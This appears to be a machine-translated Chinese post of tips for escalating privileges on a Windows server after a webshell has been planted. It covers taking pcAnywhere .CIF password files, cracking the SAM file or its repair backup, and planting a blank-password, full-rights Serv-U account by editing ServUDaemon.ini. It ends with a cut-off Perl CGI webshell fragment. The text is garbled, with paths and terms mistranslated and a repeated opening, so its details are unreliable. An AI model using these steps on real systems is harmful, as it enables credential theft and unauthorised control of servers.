点评：当我们得到webshell，接下来要做的是提高权限



个人摘要如下：



1：C：如果我们能跳到这个目录的文件和settingsall看到用户的应用datasymantecpcanywhere，如果行是最好的，直接下来的CIF文件，得到pcanywhere密码，登录。






当我们得到一个webshell，接下来要做的是提高权限



个人摘要如下：



1：C：文件和设置用户应用数据赛门铁克 pcAnywhere看看我们是否可以跳转到这个目录，如果行是最好的，直接下来的CIF文件，得到pcanywhere密码，登录。



2。C：系统 System32 配置进入破解用户的密码山姆



在C的备份： WINNT 修复是一个备份



该软件用于破解山姆密码是LC，SAMinside



3：文档和设置所有的用户开始菜单程序，看看如何跳转在这里，我们可以从这里得到很多有用的信息。



你可以看到很多的快捷方式，我们一般选择Serv-U，然后我们看看性能的局部，当你知道路，看你能不能跳。



当你去，如果你有权修改ServUDaemon.ini，添加一个用户，密码为空



{ 1 } |用户= dede



密码=



是否= C：超时= 600



系统维护=



该= C： | rwamelcdp



该= D： | rwamelcdp



该= F： | rwamelcdp



skeyvalues =



这个用户拥有最高的权限，然后我们可以上传引用站点xxx xxx来改进权限。



4。C：系统 System32 inetsrv 数据目录，也不用完全控制。我们需要做的是上传和上传增强权威的工具。



5。查看是否可以跳转到以下目录



C： PHP与PhpSpy



C：得到，有时并不一定是目录（你也可以下载快捷键看属性）与CGI的webshell



# / usr /斌/ Perl！



Binmode（stdout）；



syswrite（stdout，内容类型：文本/ HTML R